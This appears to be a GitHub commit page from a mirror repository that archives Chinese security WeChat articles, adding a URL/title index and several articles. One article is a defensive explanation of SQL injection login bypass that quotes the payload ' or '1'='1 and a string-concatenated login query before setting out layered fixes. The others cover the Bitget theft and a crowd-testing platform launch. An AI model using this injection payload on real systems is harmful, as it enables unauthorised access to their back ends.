mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-27 19:10:56 +00:00
正在获取URL...
chainreactors: 6 个URL BruceFeIix: 6 个URL Doonsec: 27 个URL 总共去重后: 33 个URL 【高危漏洞预警】Next.js ImageResponseRCE漏洞CVE-2026-94545、海量告警里揪出黑客诡计，360AI安全专家实锤0day RCE漏洞完整攻击链、【安全速报】9月30日高危漏洞紧急预警、专题·原创 | 人工智能时代电信运营商漏洞安全治理体系重构与实践、【漏洞情报】2026年9月车联网漏洞态势综述、CFCA安全响应中心「洞寻」上线｜打造金融行业漏洞检测新范式、动态｜关于2026年人工智能大模型安全众测活动典型漏洞风险的通报、CNNVD发布人工智能重要安全漏洞的通报；美国政府推出面向公众的政务 AI 聊天机器人| 牛览、【安全圈】全新幽灵BTR漏洞曝光：绕过主流防御窃取Linux内核高权哈希、【已复现】Next.js next∕og 未授权远程代码执行漏洞（CVE-2026-94545）、UFlowBot：多漏洞传播的新型UDP僵尸网络、MCP Python SDK 高危 OAuth 漏洞曝光，AI Agent 账号存在被劫持风险、从一条审批API请求，挖掘严重漏洞、用 Jev 构建更快、更便宜的漏洞扫描器、20年前的老漏洞， 2026年为什么还能秒穿四成系统、关于规范AI辅助漏洞测试行为的公告、Bitget披露3.88亿美元被盗细节，第三方安全产品0Day成入侵入口、Podman曝CVSS 10.0严重容器逃逸漏洞(CVE-2026-94603)，恶意镜像可绕过沙箱限制、CVE-2026-94545 Next.js next∕og 未经身份验证的远程代码执行 POC、OpenCode 曝远程代码执行漏洞：一个 Content-Type 混淆如何变成 RCE、【漏洞通告】Next.js next∕og未授权远程代码执行漏洞(CVE-2026-94545)、macOS SMB 内核漏洞 CVE-2026-84543：详情与概念验证（PoC）漏洞利用代码发布、Glasswing项目公布五月实测数据，AI漏洞误报率较高、【安全圈】OpenSSL修复DTLS高危漏洞：重传逻辑缺陷致未加密堆内存外泄、炸裂！这款开源Web漏洞扫描器让安全检测效率提升百倍、下载的python也可能是木马？pythonw.exe 木马全链路复现、【已复现】漏洞通告 | Next.js next∕og 未授权远程代码执行漏洞(CVE-2026-94545)、
This commit is contained in:
test committed
1 parent
e6f4555893
commit
114a836ebe
28 files changed
+4959
-1
No files matched your search
@@ -27244,5 +27244,32 @@
|
||||
"https://mp.weixin.qq.com/s/XLId0bCdiNJaRoTSMN0c1A": "【漏洞预警】Citrix NetScaler 命令注入漏洞",
|
||||
"https://mp.weixin.qq.com/s/_Z38qSHvDhI-X5NwN9SnAg": "(10分) CVE-2026-102240：Netcore AP未认证命令注入，一条GET拿root",
|
||||
"https://mp.weixin.qq.com/s/-ps4Hty70QFXHX1bRSjpeg": "路径遍历漏洞：一个下载接口引发的系统文件泄露",
|
||||
"https://mp.weixin.qq.com/s/JyXkDWmGtCn2rYsY9iEoMQ": "16岁研究员发现微软身份验证漏洞，导致17.3万亿条记录泄露"
|
||||
"https://mp.weixin.qq.com/s/JyXkDWmGtCn2rYsY9iEoMQ": "16岁研究员发现微软身份验证漏洞，导致17.3万亿条记录泄露",
|
||||
"https://mp.weixin.qq.com/s/dbCopeejL_EwV4UQQCtFoA": "【高危漏洞预警】Next.js ImageResponseRCE漏洞CVE-2026-94545",
|
||||
"https://mp.weixin.qq.com/s/RnIZ-x-WOgUxtwwokSornQ": "海量告警里揪出黑客诡计，360AI安全专家实锤0day RCE漏洞完整攻击链",
|
||||
"https://mp.weixin.qq.com/s/UBeYadj2ZoueSaH1d5CgWA": "【安全速报】9月30日高危漏洞紧急预警",
|
||||
"https://mp.weixin.qq.com/s/srpFayIqThg95Pb6MJKzCg": "专题·原创 | 人工智能时代电信运营商漏洞安全治理体系重构与实践",
|
||||
"https://mp.weixin.qq.com/s/dVPfaeLA9zvAtwbb6b9now": "【漏洞情报】2026年9月车联网漏洞态势综述",
|
||||
"https://mp.weixin.qq.com/s/UXISN-owhS5b7IDcTWAIZA": "CFCA安全响应中心「洞寻」上线｜打造金融行业漏洞检测新范式",
|
||||
"https://mp.weixin.qq.com/s/XUi4Y_AFN1DCCfuBmC2iKA": "动态｜关于2026年人工智能大模型安全众测活动典型漏洞风险的通报",
|
||||
"https://mp.weixin.qq.com/s/kVOXrF2RvAbG2NL4lvrGRQ": "CNNVD发布人工智能重要安全漏洞的通报；美国政府推出面向公众的政务 AI 聊天机器人| 牛览",
|
||||
"https://mp.weixin.qq.com/s/BJ6xcb874rx0okXA8LODEQ": "【安全圈】全新幽灵BTR漏洞曝光：绕过主流防御窃取Linux内核高权哈希",
|
||||
"https://mp.weixin.qq.com/s/3YYptUdqP7vB4Kc-7sNUig": "【已复现】Next.js next∕og 未授权远程代码执行漏洞（CVE-2026-94545）",
|
||||
"https://mp.weixin.qq.com/s/V5OXtFGSdZnOogjNLurT2g": "UFlowBot：多漏洞传播的新型UDP僵尸网络",
|
||||
"https://mp.weixin.qq.com/s/dot4IaTcv9aCrQtqNY_BAA": "MCP Python SDK 高危 OAuth 漏洞曝光，AI Agent 账号存在被劫持风险",
|
||||
"https://mp.weixin.qq.com/s/6bzWN9mP6wD5c0rwpGqA5A": "从一条审批API请求，挖掘严重漏洞",
|
||||
"https://mp.weixin.qq.com/s/ZJV0vSPtw4jaN2Hjmy3eug": "用 Jev 构建更快、更便宜的漏洞扫描器",
|
||||
"https://mp.weixin.qq.com/s/WCkFJHSczqP6TSZmLKImvg": "20年前的老漏洞， 2026年为什么还能秒穿四成系统",
|
||||
"https://mp.weixin.qq.com/s/7vMPEDqrOlf8Gu1q4-NW6g": "关于规范AI辅助漏洞测试行为的公告",
|
||||
"https://mp.weixin.qq.com/s/3wGsbpxZc_tjL8u7RFalRw": "Bitget披露3.88亿美元被盗细节，第三方安全产品0Day成入侵入口",
|
||||
"https://mp.weixin.qq.com/s/jEUtYm-Bxxv_zn6pLcli7A": "Podman曝CVSS 10.0严重容器逃逸漏洞(CVE-2026-94603)，恶意镜像可绕过沙箱限制",
|
||||
"https://mp.weixin.qq.com/s/s2NNp02nGW4JoauDoSxcwA": "CVE-2026-94545 Next.js next∕og 未经身份验证的远程代码执行 POC",
|
||||
"https://mp.weixin.qq.com/s/a66gwLbhIeE9k8MLvSpC8A": "OpenCode 曝远程代码执行漏洞：一个 Content-Type 混淆如何变成 RCE",
|
||||
"https://mp.weixin.qq.com/s/1ZdELz9p0u05bt-23nq2RQ": "【漏洞通告】Next.js next∕og未授权远程代码执行漏洞(CVE-2026-94545)",
|
||||
"https://mp.weixin.qq.com/s/gYQtx9TFHkhtjgQbe98XVg": "macOS SMB 内核漏洞 CVE-2026-84543：详情与概念验证（PoC）漏洞利用代码发布",
|
||||
"https://mp.weixin.qq.com/s/I7DV_PBZ0tO_c3TL_d6xVw": "Glasswing项目公布五月实测数据，AI漏洞误报率较高",
|
||||
"https://mp.weixin.qq.com/s/eqe3d6YPvHO8T7Orx3Z_dg": "【安全圈】OpenSSL修复DTLS高危漏洞：重传逻辑缺陷致未加密堆内存外泄",
|
||||
"https://mp.weixin.qq.com/s/g7ebwHxbd4kRjjK3hJ2Law": "炸裂！这款开源Web漏洞扫描器让安全检测效率提升百倍",
|
||||
"https://mp.weixin.qq.com/s/DECfq5gZodGVi2c9DjtCVQ": "下载的python也可能是木马？pythonw.exe 木马全链路复现",
|
||||
"https://mp.weixin.qq.com/s/MIBq2MiHVanuRC4em6gj0g": "【已复现】漏洞通告 | Next.js next∕og 未授权远程代码执行漏洞(CVE-2026-94545)"
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
# 20年前的老漏洞， 2026年为什么还能秒穿四成系统
|
||||
宝十八
|
||||
宝十八 网络安全老宋 2026-09-30 04:00
|
||||
|
||||
**导语：**
|
||||
你好，我是网络安全老宋。
|
||||
安全攻防干货准时送达！
|
||||
|
||||
网络安全
|
||||
老宋
|
||||
// 安全加固 · 甲方运维
|
||||
|
||||
// 安全加固 · 甲方运维
|
||||
# 20年前的老漏洞，2026年为什么还能秒穿四成系统
|
||||
|
||||
一个 1998 年就写进教科书的 payload，今年还能打开近四成的登录框——不是攻击变强了，是防守这二十年没跟上。
|
||||
|
||||
安全加固
|
||||
甲方运维
|
||||
SQL注入
|
||||
|
||||
🔑 一句话精华
|
||||
一个 1998 年就写进教科书的 payload，今年还能打开近四成的登录框——不是攻击变强了，是防守这二十年没跟上。
|
||||
|
||||
|
||||
|
||||
目录 · Table of Contents
|
||||
|
||||
01
|
||||
你测的和我要守的，不是同一批系统
|
||||
|
||||
02
|
||||
登录框被"一句话"撬开，根子不在 payload
|
||||
|
||||
03
|
||||
别急着自证清白，先翻这三处
|
||||
|
||||
04
|
||||
想真正堵住，得一层层叠起来
|
||||
|
||||
05
|
||||
老宋说
|
||||
|
||||
前阵子看到一家 AI 安全实验室做了个测试：挑 37 个授权范围内的目标，清一色是中小企业的业务系统，CRM、OA、ERP、小程序后台都有，然后拿那个火了二十年的注入串
|
||||
' or '1'='1
|
||||
|
||||
挨个试。
|
||||
|
||||
结果挺难看。37 个里 14 个直接跳进后台，7 个报数据库错，说明注入点还在、只是被 WAF 拦了一半，真正顶住的只有 16 个。
|
||||
|
||||
也就是说，
|
||||
接近四成的系统，一个二十年前的 payload 就能秒穿
|
||||
。
|
||||
|
||||
那篇原文是从攻击视角写的，教人怎么继续用这个老古董挖 SRC 赚钱。老宋今天换个方向——从防守这头看同一件事：为什么 2026 年了，这种事还在天天发生，以及你的系统，会不会正躺在那四成里面。
|
||||
|
||||
## 01你测的和我要守的，不是同一批系统
|
||||
|
||||
|
||||
很多做安全的兄弟会本能反驳：预编译不是早就普及了吗，WAF 不是早就上了吗，怎么还这样？
|
||||
|
||||
问题恰恰出在这个"早"字上。你在自己公司、在大厂 SRC 上看到的，是那批有人维护、有安全团队、年年做渗透的系统；而真正脆的，是水面下那几百万个中小企业的业务系统，它们的开发水平，停在了 2016 年甚至更早。
|
||||
|
||||
这批系统的画像很一致，四条几乎全中。一是用老框架，Struts2、Spring MVC 3.x、ThinkPHP 3.2、DedeCMS、帝国 CMS，这些东西本身不一定有洞，但围绕它们长出来的写法，天生爱拼接；二是开发外包，一个项目几万块，周期两周，能跑就行，安全不在交付清单里；三是没有 WAF，企业主压根不知道 WAF 是个啥，更不会为它单独掏钱；四是上线前只测功能、不测安全，登录能进去就算完事。
|
||||
|
||||
把这几条摞在一起，你会发现这不是"某几个倒霉蛋中招"，而是一整片长尾攻击面。更要命的是，这片长尾不会随技术进步自动消失——只要系统还能用，企业主就不愿意花钱重做，于是老系统一年年堆积，洞也就一年年留着。攻击者要的从来不是最先进的系统，而是最省事的那个。
|
||||
|
||||
## 02登录框被"一句话"撬开，根子不在 payload
|
||||
|
||||
|
||||
说到底，注入登录绕过这件事，原理朴素得不像个高危漏洞。正常的登录，后端应该这样问数据库：用户名等于"你输的"，并且密码等于"你输的"，两个条件都得满足，才放行。而脆弱的写法，是把用户输入当成句子的一部分，直接拼进去。
|
||||
|
||||
拼出来的语句大致长这样：
|
||||
|
||||
|
||||
|
||||
|
||||
⏺ SQL · 拼接式登录查询
|
||||
|
||||
SELECT
|
||||
*
|
||||
FROM
|
||||
users
|
||||
WHERE
|
||||
username =
|
||||
'$user'
|
||||
AND
|
||||
password =
|
||||
'$pwd'
|
||||
|
||||
你输一个正常用户名，它就是个正常查询。可一旦你在用户名里塞进
|
||||
' or '1'='1
|
||||
，那句判断就变成了"用户名等于空，或者 1 等于 1"——后半句永远为真，密码校验形同虚设，后台大门就这么开了。
|
||||
|
||||
所以真正的问题，不是这个 payload 太狡猾，而是后端把"用户输入"和"SQL 语法"混在了同一个字符串里。
|
||||
输入即代码，是这类漏洞的万恶之源。
|
||||
|
||||
到 2026 年，形态还在翻新，但内核一个字没变。比如现在的应用大量用 JSON 传参，有的后端图省事，把 JSON 字段的值直接拼进 SQL，登录接口照样一穿到底；再比如一些廉价 WAF 只会匹配固定的关键词，遇到大小写混写、注释符号拼接、关键字双写这类花活，拦截规则就瞎了。这些手法原文讲得很细，老宋不展开——你只需要记住一件事：
|
||||
WAF 是补丁，不是地基；地基没打牢，补丁总有漏的那天。
|
||||
|
||||
|
||||
|
||||
▲ 一把二十年前的老钥匙，2026 年依然能拧开登录框——根子是"拼接"，不是钥匙
|
||||
|
||||
## 03别急着自证清白，先翻这三处
|
||||
|
||||
|
||||
知道了原理，判断自己危不危险就有章法了。不用上来就买工具，翻三个地方，基本能看出个七八分。
|
||||
|
||||
第一处，翻代码，找拼接。
|
||||
重点看数据库访问层，搜那些把变量直接塞进 SQL 字符串的写法——用加号拼的、用插值符套的、用格式化占位符套的，都是嫌疑对象。健康的写法长什么样？长这样：... WHERE username = ?
|
||||
，问号占位，参数单独传，数据库自己保证它只是数据、不是语法。如果一家系统里，占位符和拼接混着用，那拼接的那部分就是洞。
|
||||
|
||||
第二处，翻日志，找痕迹。
|
||||
翻登录接口和查询接口的历史日志，搜那些反常的输入——单个引号、or、双横线、斜杠星号，尤其是出现在用户名这种本该规规矩矩的字段里的。自己系统被扫过、被试过，日志里一定留过脚印，只是以前没人看。
|
||||
|
||||
第三处，翻 WAF 规则，找盲区。
|
||||
别只确认"我们买了 WAF"，要确认它到底管没管登录接口、用的是不是出厂默认的那几条规则。默认规则挡不住默认以外的攻击，这是常识。
|
||||
|
||||
要提醒一句：上面这些动作，都只在
|
||||
你自己负责的、或者客户明确授权的
|
||||
资产上做，越界就是另一回事了。自查是为了补漏，不是为了越线。
|
||||
|
||||
## 04想真正堵住，得一层层叠起来
|
||||
|
||||
|
||||
单点防御在这类老漏洞面前基本没用，得几层一起上。
|
||||
|
||||
开发层，是地基。
|
||||
一句话，凡是 SQL，必须走参数化查询，占位符写死，永不拼接。这一条做到位，七成的注入当场消失。顺带把用户输入的校验也加上，白名单优先，能不收的字符就不收。
|
||||
|
||||
边界层，是减速带。
|
||||
部署 WAF，哪怕是开源的 ModSecurity 加几条像样的规则，也能把绝大多数自动化扫描挡在门外。它的价值不是全防住，而是把攻击成本从"复制粘贴"抬高到"得动脑子"，而你换来的是发现它的时间。
|
||||
|
||||
账号层，是保险丝。
|
||||
应用连数据库的账号，只给它必要的表权限，明确禁止它去查元数据表。这样即便被注入，攻击者能摸到的信息也被箍在一个小圈子里，跑不出去。
|
||||
|
||||
认证层，是门禁。
|
||||
验证码必须动态生成、一次性使用、提交即失效——原文里那 14 个被秒穿的案例，好几个就栽在"验证码能复用"上；再加登录失败锁定和异常登录告警，把暴力尝试也摁住。
|
||||
|
||||
流程层，是免疫系统。
|
||||
上线前跑一遍安全测试，登录接口必须有针对性的用例，别让"能跑就行"成为上线标准。这一层不产生直接收益，但它决定了下一批系统还会不会重蹈覆辙。
|
||||
|
||||
|
||||
|
||||
▲ 单层挡不住，五层叠起来才叫纵深防御
|
||||
<table><tbody><tr style="border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(219, 210, 196);"><td data-colwidth="88" style="padding: 9px 12px;font-weight: 700;color: rgb(26, 23, 20);"><section><span leaf="">层级</span></section></td><td style="padding: 9px 12px;font-weight: 700;color: rgb(26, 23, 20);"><section><span leaf="">要做什么</span></section></td><td style="padding: 9px 12px;font-weight: 700;color: rgb(26, 23, 20);"><section><span leaf="">防的是哪一类</span></section></td></tr><tr style="border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(236, 232, 224);"><td data-colwidth="88" style="padding: 8px 12px;color: rgb(26, 23, 20);font-weight: 600;"><section><span leaf="">开发层</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">强制参数化查询，输入白名单</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">注入的根因</span></section></td></tr><tr style="border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(236, 232, 224);"><td data-colwidth="88" style="padding: 8px 12px;color: rgb(26, 23, 20);font-weight: 600;"><section><span leaf="">边界层</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">WAF + 覆盖登录接口的规则</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">自动化扫描与批量尝试</span></section></td></tr><tr style="border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(236, 232, 224);"><td data-colwidth="88" style="padding: 8px 12px;color: rgb(26, 23, 20);font-weight: 600;"><section><span leaf="">账号层</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">数据库最小权限，禁元数据查询</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">注入成功后的横向扩展</span></section></td></tr><tr style="border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(236, 232, 224);"><td data-colwidth="88" style="padding: 8px 12px;color: rgb(26, 23, 20);font-weight: 600;"><section><span leaf="">认证层</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">动态一次性验证码 + 失败锁定</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">暴力破解与验证码复用</span></section></td></tr><tr style="border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(236, 232, 224);"><td data-colwidth="88" style="padding: 8px 12px;color: rgb(26, 23, 20);font-weight: 600;"><section><span leaf="">流程层</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">上线前安全测试，登录接口必测</span></section></td><td style="padding: 8px 12px;color: rgb(94, 93, 93);"><section><span leaf="">系统性重蹈覆辙</span></section></td></tr></tbody></table>
|
||||
这五层叠起来，才叫"纵深防御"。任何一层单拿出来，都挡不住一个肯多试两次的人。
|
||||
|
||||
## 05老宋说
|
||||
|
||||
|
||||
// 老宋说：注入能活过二十年，靠的不是技术难度，而是开发者对用户输入那份根深蒂固的信任——总觉得"这个字段是给正常人填的"。可攻击者从来不按正常人出牌。行业里有个错觉，以为安全投入要砸在最新最炫的东西上；但真实世界里，绝大多数损失，发生在我们早已知道怎么防、只是没去防的地方。新漏洞需要天赋，老漏洞只需要偷懒。所以别急着追下一个零日，现在就去翻你们系统的登录接口，看它是用问号占位，还是用加号拼接。
|
||||
|
||||
来聊一聊
|
||||
|
||||
你的系统做过登录接口的安全自查吗？留言告诉我：
|
||||
|
||||
A. 查过，用的是参数化，心里有底
|
||||
|
||||
B. 没查过，也不知道从哪查起
|
||||
|
||||
C. 老系统一堆，想查但没人手
|
||||
|
||||
D. 我就是那被秒穿的一批……
|
||||
|
||||
留言区见 👇
|
||||
|
||||
要是觉得有用，转发给还在用老系统扛业务的那位同事，他可能最需要看到。
|
||||
|
||||
我是老宋，下期见 👋
|
||||
网络安全老宋 · 转载请注明出处
|
||||
|
||||
防御，不是在演练期间发现攻击，而是在演练开始前就把攻击面收敛到最小。
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
||||
不想错过文章内容？读完请点一下**“在看**
|
||||
**”**
|
||||
，加个**“****关注”**
|
||||
，您的支持
|
||||
是我创作的动力
|
||||
|
||||
期待您的一键三连支持（点赞、在看、分享~）
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
# Bitget披露3.88亿美元被盗细节，第三方安全产品0Day成入侵入口
|
||||
FreeBuf 2026-09-30 10:00
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
加密货币交易所Bitget周一表示，攻击者从该平台盗走约3.88亿美元，初始入侵路径是其部署的一款第三方安全产品存在漏洞。
|
||||
|
||||
|
||||
Part
|
||||
01
|
||||
|
||||
攻击者利用第三方产品0Day漏洞
|
||||
|
||||
|
||||
攻击者利用该漏洞获取了高权限内部凭证。9月24日，攻击者使用这些凭证向Bitget钱包系统发送伪造的提现指令。
|
||||
|
||||
|
||||
加密货币交易所通常会将绝大多数用户资金存储在离线冷钱包中，仅使用热钱包和温钱包处理提现业务。所有从热、温钱包转出的资金，在签名前都必须经过审批流程。此次被盗资金全部来自Bitget的部分热钱包和温钱包，冷钱包未受任何影响。
|
||||
|
||||
|
||||
Bitget上周曾披露，其钱包基础设施中的一套核心后端系统遭攻击者入侵，被用来伪造交易数据、触发审批流程，但当时并未公布攻击者的初始入侵路径。
|
||||
|
||||
|
||||
Bitget首席执行官Gracy Chen周一公布了此次攻击的完整细节，相关表述分别来自一场公开直播、她接受The Block的采访，以及对Cointelegraph的回应。攻击者通过该漏洞接入内部管理系统，向钱包相关后端服务注入伪造的提现指令。这些指令被系统判定为合法操作，没有触发拦截。
|
||||
|
||||
|
||||
Part
|
||||
02
|
||||
|
||||
攻击者分阶段转账绕过风控机制
|
||||
|
||||
|
||||
9月24日UTC 18:31，攻击者首先发起两笔小额测试转账。这两笔交易金额低于Bitget的风控阈值，没有触发任何警报。约30分钟后，攻击者开始发起大额转账，Bitget钱包系统执行了这些转账操作，全程绕过了风控机制。
|
||||
|
||||
|
||||
U.Today报道援引Chen的表述称：“攻击者全程使用合法凭证，将恶意活动伪装成常规管理操作，同时清除了操作痕迹。”
|
||||
|
||||
|
||||
Bitget称，根据目前的调查结果，本次攻击未造成任何私钥泄露。Chen在周一的公开表述中没有透露该第三方安全产品的具体名称。据The Block消息，她表示本次被利用的是一个0Day漏洞，即漏洞厂商尚未发布修复补丁、就已被攻击者利用的安全缺陷。据Crypto Briefing报道，Bitget已经通知了该产品厂商，隔离了受影响系统，作废并重新签发了内部凭证，同时在漏洞修复完成前关闭了相关功能，目前尚未披露厂商是否已发布漏洞补丁。
|
||||
|
||||
|
||||
目前上述攻击细节均由Bitget单方面披露，安全厂商Mandiant和SlowMist正在协助调查，Bitget预计将于本周发布正式的事件报告。
|
||||
|
||||
|
||||
事件发生后，Bitget已经收紧了内部访问权限，新增了提现独立校验环节，同时加强了异常活动监控，还计划重新评估第三方安全产品的审核与部署流程。
|
||||
|
||||
|
||||
Bitget表示，本次事件未影响用户账户余额。平台专门为这类安全事件设立的保护基金将全额承担本次损失。
|
||||
|
||||
|
||||
比特币提现服务已于周一恢复，其他资产的提现服务将在10月2日前分阶段逐步恢复，用户无需进行任何操作。
|
||||
|
||||
|
||||
Part
|
||||
03
|
||||
|
||||
攻击疑似指向朝鲜黑客组织
|
||||
|
||||
|
||||
Chen在接受The Block采访时表示，Bitget上周曾指出攻击来自朝鲜黑客，目前仍怀疑是“同一批人员”所为。在正式事件报告发布前，她不会透露该组织的具体名称。
|
||||
|
||||
|
||||
区块链分析机构TRM Labs上周表示，他们发现被盗资金的流向，与此前朝鲜相关盗窃事件中用于洗钱的钱包存在重叠。这些线索指向朝鲜攻击组织TraderTraitor，但TRM Labs尚未最终确认攻击来源。
|
||||
|
||||
|
||||
Bitget已经公布了接收被盗资金的主要地址，同时上线了实时追踪看板。平台已请求各交易所、稳定币发行方、跨链桥、托管机构及其他基础设施提供商监控这些地址，通过其资产追回门户上报相关线索。
|
||||
|
||||
|
||||
Bitget在9月25日公布的地址如下：
|
||||
|
||||
- 以太坊及EVM兼容网络： 0x770b10b273fc44fe9197d6bf20f145c2e98463ee
|
||||
|
||||
|
||||
- XRP网络： rwNhefsz1UQEusxhCvHip3RANinWi4CTck
|
||||
|
||||
|
||||
- Zcash网络： t1WgMdtND8NF7NDUuYmq8MpMj1NTCXkMDVG
|
||||
|
||||
|
||||
- TRON网络： TBWNguTTgezw9dVorX441C6nDrZpRxYwKD
|
||||
|
||||
|
||||
TRM Labs上周建议各交易所，不仅要筛查来自标记攻击者地址的直接转账，还要筛查经过多个中间钱包流转、源自这些地址的资金，做好入金检测。
|
||||
|
||||
|
||||
目前被盗资金正通过跨链桥和跨链兑换服务转移，因此更有可能以间接方式流入交易所。
|
||||
|
||||
|
||||
参考来源：
|
||||
|
||||
Bitget Says Attacker Exploited Third-Party Security Product Flaw to Steal $388M
|
||||
|
||||
https://thehackernews.com/2026/09/bitget-says-attacker-exploited-third.html
|
||||
|
||||
###
|
||||
|
||||
### 推荐阅读
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651347479&idx=1&sn=1cf9c858a30d0b7af06d196002bd2913&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
###
|
||||
|
||||
### 电报讨论
|
||||
|
||||
|
||||
[]()
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
# CFCA安全响应中心「洞寻」上线｜打造金融行业漏洞检测新范式
|
||||
CFCA
|
||||
CFCA 众安天下 2026-09-30 02:30
|
||||
|
||||
中金金融认证中心（CFCA）打造的金融级网络安全众测平台——CFCA安全响应中心
|
||||
「洞寻」，
|
||||
今日正式上线！
|
||||
|
||||
面向银行、证券、保险、支付等持牌金融机构输出合规可控、实战导向的安全服务，同时为白帽从业者提供合规的实战接单渠道。
|
||||
|
||||
依托CFCA近三十年金融安全领域技术积淀与合规资质，CFCA安全响应中心实现全流程标准化运营，着力破解金融机构网络安全检测中的双重痛点
|
||||
“测不透、不敢测”
|
||||
。
|
||||
|
||||
“洞”喻系统壁垒缝隙，“寻”喻探查隐匿破绽。谓之
|
||||
「洞寻」
|
||||
，意在聚合白帽力量，挖掘潜藏漏洞，探测边界缺口。
|
||||
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
**金融机构，为什么需要专属漏洞检测能力？**
|
||||
|
||||
|
||||
金融行业网络安全监管已经从指导性要求转变为硬性合规约束。
|
||||
《金融业网络安全管理办法》
|
||||
要求：
|
||||
面向公众的业务系统每年必须完成至少一次全面安全测试；核心业务系统须落实7×24小时风险监测；较大安全事件须在2小时内上报。
|
||||
|
||||
据金融监管部门处罚公示及第三方合规机构统计，
|
||||
2026年上半年，银行数据安全与个人信息保护相关罚款总额逾7000万元。
|
||||
漏洞未修复、数据管控缺失是吃罚单“重灾区”。
|
||||
|
||||
与此同时，网络攻击手段持续迭代，攻击者不再局限于传统漏洞扫描，更多瞄准
|
||||
业务逻辑缺陷，越权转账、交易篡改、优惠券套利、支付链路绕过
|
||||
等业务层风险，
|
||||
传统自动化扫描工具很难识别这类高危隐患。
|
||||
|
||||
传统安全检测方式，难以适配当下安全需求：
|
||||
|
||||
传统渗透测试：
|
||||
周期仅一两周，深层漏洞发现率不足，报告无第三方审计，监管不认。
|
||||
|
||||
通用众测平台：
|
||||
白帽背景审查机制薄弱、公网直测、数据缺少加密防护，从业人员缺乏金融业务理解，不懂银行真实交易逻辑。
|
||||
|
||||
金融机构迫切需要一套
|
||||
“既测得出真漏洞，又全程可控合规”
|
||||
的安全检测方案，这正是金融级众测平台要解决的核心命题。
|
||||
|
||||
**2**
|
||||
|
||||
**CFCA安全响应中心：众测广度 × 合规可控**
|
||||
|
||||
|
||||
众测广度：
|
||||
1000名白帽精英+300位金融专家，多视角攻击，最大化漏洞发现率，依靠群体智慧实现安全检测效果量级提升。
|
||||
|
||||
可控合规：
|
||||
金融机构+CFCA+认证白帽+审计单位，组成四方制衡模型；搭配平台全流量审计+双报告举证机制，测试全过程留痕可追溯。
|
||||
|
||||
**3**
|
||||
|
||||
**八大核心功能+五大检测能力，端到端闭环**
|
||||
|
||||
|
||||
八大核心功能+五大检测能力，实现
|
||||
项目创建、白帽招募、测试执行、漏洞审核、报告交付
|
||||
全链路线上闭环管理。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**4**
|
||||
|
||||
**三大关键节点，覆盖安全检测全生命周期**
|
||||
|
||||
|
||||
上线前风险把关：
|
||||
电子银行系统安全检测、新系统上线安全验收，真正做到
|
||||
“带病不上线”
|
||||
。
|
||||
|
||||
合规节点保障：
|
||||
监管合规年度检测、护网行动；攻防演练实战预演。
|
||||
|
||||
常态化持续守护：
|
||||
漏洞平均修复时间缩短60%以上；72小时完成全量暴露面风险排查。
|
||||
|
||||
**5**
|
||||
|
||||
**众测不是成本项，而是最高性价比选项**
|
||||
|
||||
|
||||
通过
|
||||
CFCA安全响应中心
|
||||
，您将得到——
|
||||
|
||||
🏅 更深层、更全面的漏洞挖掘效果
|
||||
|
||||
🏅 测试全程隔离，杜绝次生风险
|
||||
|
||||
🏅 输出材料可直接用于监管举证
|
||||
|
||||
🏅 更优的投入产出比
|
||||
|
||||
🏅 完成众测项目后，机构可以获取
|
||||
企业认证证书+安全检测证书
|
||||
双重认证。
|
||||
|
||||
**合规为基，专业为核**
|
||||
|
||||
|
||||
|
||||
CFCA安全响应中心
|
||||
「洞寻」现
|
||||
已正式上线，诚邀金融机构、白帽从业者共同参与，构建规范、共赢的金融网络安全生态。
|
||||
|
||||
|
||||
|
||||
CFCA官方微信
|
||||
|
||||
|
||||
|
||||
|
||||
安全响应中心
|
||||
|
||||
官方网站
|
||||
|
||||
|
||||
|
||||
安全响应中心
|
||||
|
||||
官方客服
|
||||
|
||||
· 关注
|
||||
CFCA官方微信
|
||||
，获取项目上新资讯与活动预告
|
||||
|
||||
· 入驻
|
||||
CFCA安全响应中心
|
||||
，参与公开众测项目
|
||||
|
||||
· 添加
|
||||
CFCA安全响应中心官方客服
|
||||
，
|
||||
加入社群获取活动福利与操作手册
|
||||
|
||||
主动排查、攻防相济，用可信守护数字金融！
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
# CNNVD发布人工智能重要安全漏洞的通报；美国政府推出面向公众的政务 AI 聊天机器人| 牛览
|
||||
安全牛 2026-09-30 02:56
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
新闻速览
|
||||
|
||||
|
||||
- CNNVD发布人工智能重要安全漏洞的通报
|
||||
|
||||
|
||||
- 2026年世界互联网大会乌镇峰会新闻发布会在北京举行
|
||||
|
||||
|
||||
- AI 深度伪造社交工程攻击致意大利 Fideuram 银行遭受近亿欧元资金损失
|
||||
|
||||
|
||||
